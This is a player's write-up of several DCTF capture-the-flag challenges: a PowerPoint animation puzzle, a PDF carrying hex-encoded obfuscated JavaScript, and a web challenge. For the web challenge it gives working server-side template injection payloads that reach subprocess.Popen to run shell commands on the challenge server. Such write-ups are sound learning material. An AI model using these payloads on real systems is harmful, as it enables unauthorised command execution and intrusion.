Solved a couple of challenges and was leading in the first place until the admins decided to give out hints for the challenges we solved, while not giving hints for the challenges we did not. They also increased the points of some challenges manually, which happened to be the ones we didn’t solve. There was also rampant flag/solution sharing in the official Discord.
You can read more about it on my tweet here: https://twitter.com/kohyouliang/status/1393540123682246659, but basically my team gave up after they released the second set of hints for challenges that we had solved.
Nevertheless, was happy to play with friends again.
Misc
Powerpoint Programming
Category: Misc | 97 solves
Challenge Description
A login page in powerpoint should be good enough, right?Flag is not in format.
DCTF{ALL_CAPS_LETTERS_OR_NUMBERS}
This was an interesting challenge.
We’re given a ppsx file which is a powerpoint presentation file. However, you can rename it to .pptx
and it will open the source powerpoint file.
When I saw it I knew there was definitely some conditional statements going on, so I googled for how to write them in Powerpoint. It turns out that you can make conditional animations, which prompted me to open the animation panel.
Looking at the animation numbers clicking on them, I realised they are in the order of characters of the flag. Thus, by following the order of animations, we can get the flag.
FLAG
DCTF{PPT_1SNT_V3RY_S3CUR3_1S_1T}Don’t let it run
Category: Misc | 241 solves
Challenge Description
PDF documents can contain unusual objects within.Opening the dragon.pdf
shows us a very obvious line of JavaScript on line 29.
766172205F3078346163393D5B2736363361435968594B272C273971776147474F272C276C6F67272C273150744366746D272C27313036387552596D7154272C27646374667B7064665F316E6A33637433647D272C273736383537376A6868736272272C2737313733343268417A4F4F51272C27373232353133504158436268272C2738333339383950514B697469272C27313434373836335256636E546F272C2731323533353356746B585547275D3B2866756E6374696F6E285F30783362316636622C5F3078316164386237297B766172205F30783536366565323D5F3078353334373B7768696C652821215B5D297B7472797B766172205F30783237353061353D7061727365496E74285F307835363665653228307831366529292B2D7061727365496E74285F307835363665653228307831366429292B7061727365496E74285F307835363665653228307831366329292B2D7061727365496E74285F307835363665653228307831373329292A2D7061727365496E74285F307835363665653228307831373129292B7061727365496E74285F307835363665653228307831373229292A2D7061727365496E74285F307835363665653228307831366129292B7061727365496E74285F307835363665653228307831366629292A7061727365496E74285F307835363665653228307831373529292B2D7061727365496E74285F307835363665653228307831373029293B6966285F30783237353061353D3D3D5F307831616438623729627265616B3B656C7365205F30783362316636625B2770757368275D285F30783362316636625B277368696674275D2829293B7D6361746368285F3078353736346134297B5F30783362316636625B2770757368275D285F30783362316636625B277368696674275D2829293B7D7D7D285F3078346163392C3078386439376629293B66756E6374696F6E205F30786128297B766172205F30783363366432303D5F3078353334373B636F6E736F6C655B5F3078336336643230283078313734295D285F307833633664323028307831366229293B7D76617220613D27626B706F646E746A636F7073796D6C78656977686F6E7374796B787372707A79272C623D2765787262737071717573746E7A717269756C697A70656565787771736F666D77273B5F30786228612C62293B66756E6374696F6E205F307835333437285F30783337646533352C5F3078313961633236297B5F30783337646533353D5F30783337646533352D30783136613B766172205F30783461633965613D5F3078346163395B5F30783337646533355D3B72657475726E205F30783461633965613B7D66756E6374696F6E205F307862285F30783339623365652C5F3078666165353433297B766172205F30783235393932333D5F30783339623365652B5F30786661653534333B5F30786128293B7D0A
Decoding the hex gives us the flag. Can you spot it?
var _0x4ac9=['663aCYhYK','9qwaGGO','log','1PtCftm','1068uRYmqT','dctf{pdf_1nj3ct3d}','768577jhhsbr','717342hAzOOQ','722513PAXCbh','833989PQKiti','1447863RVcnTo','125353VtkXUG'];(function(_0x3b1f6b,_0x1ad8b7){var _0x566ee2=_0x5347;while(!![]){try{var _0x2750a5=parseInt(_0x566ee2(0x16e))+-parseInt(_0x566ee2(0x16d))+parseInt(_0x566ee2(0x16c))+-parseInt(_0x566ee2(0x173))*-parseInt(_0x566ee2(0x171))+parseInt(_0x566ee2(0x172))*-parseInt(_0x566ee2(0x16a))+parseInt(_0x566ee2(0x16f))*parseInt(_0x566ee2(0x175))+-parseInt(_0x566ee2(0x170));if(_0x2750a5===_0x1ad8b7)break;else _0x3b1f6b['push'](_0x3b1f6b['shift']());}catch(_0x5764a4){_0x3b1f6b['push'](_0x3b1f6b['shift']());%7d%7d}(_0x4ac9,0x8d97f));function _0xa(){var _0x3c6d20=_0x5347;console[_0x3c6d20(0x174)](_0x3c6d20(0x16b));}var a='bkpodntjcopsymlxeiwhonstykxsrpzy',b='exrbspqqustnzqriulizpeeexwqsofmw';_0xb(a,b);function _0x5347(_0x37de35,_0x19ac26){_0x37de35=_0x37de35-0x16a;var _0x4ac9ea=_0x4ac9[_0x37de35];return _0x4ac9ea;}function _0xb(_0x39b3ee,_0xfae543){var _0x259923=_0x39b3ee+_0xfae543;_0xa();}
FLAG
dctf{pdf_1nj3ct3d}Web
Injection
Category: Web | 89 solves
Challenge Description
Our local pharmacy exposed admin login to the public, can you exploit it? http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/Open the page and logging in with random credentials brings us to http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/login, where it says Oops! Page login doesn't exist :(
. Looking at the path, I thought there might be an injection so I went straight for 7b%7b7*7%7d%7d
which returned 49.
So we have an SSTI.
Let’s try to import the globals. %7b%7bglobal_name.__class__.__base__%7d%7d
gives <class 'object'>
, so we know that it can be imported.
Going one step further, we try to list all the available classes and find something we can use with %7b%7bglobal_name.__class__.__base__.__subclasses__()%7d%7d
.
`
Towards the end, we spied a <class 'subprocess.Popen'>
which we used to get a shell running.
Lets do an ls / -alR
to enumerate the whole file system. Note that the whole shell payload has to be URL encoded, like this %7b%7bglobal_name.__class__.__base__.__subclasses__()[414](%22%6c%73%20%2f%20%2d%61%6c%52%22,shell=True,stdout=-1).communicate()[0]%7d%7d
.
We got a 10MB response after 20 seconds of waiting.
Looking at the relevant filesystem:
/app:
total 24
dr-xr-xr-x 1 root root 4096 May 14 01:33 .
drwxr-xr-x 1 root root 4096 May 15 16:18 ..
-r--r--r-- 1 root root 1180 May 14 01:32 app.py
dr-xr-xr-x 1 root root 4096 May 14 01:32 lib
dr-xr-xr-x 1 root root 4096 May 14 01:32 static
dr-xr-xr-x 1 root root 4096 May 14 01:32 templates
/app/lib:
total 12
dr-xr-xr-x 1 root root 4096 May 14 01:32 .
dr-xr-xr-x 1 root root 4096 May 14 01:33 ..
-r--r--r-- 1 root root 279 May 14 01:32 security.py
There was this suspicious file called security.py
. Opening it via cat
, we get the following:
import base64
def validate_login(username, password):
if username != 'admin':
return False
valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ'
return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password
Reversing the valid_password
variable step by step:
- Add 2
=
signs to the left side of the string to ‘undo’lstrip('=')
- Reverse the string to undo
[::-1]
- Base64 decode the resulting string
ZGN0Zns0bGxfdXMzcl8xbnB1dF8xc18zdjFsfQ==
And we got the flag!
FLAG
dctf{4ll_us3r_1nput_1s_3v1l}I solved a couple more challenges but they have so many solves thanks to the multiple hints so you can probably find other writeups for them online.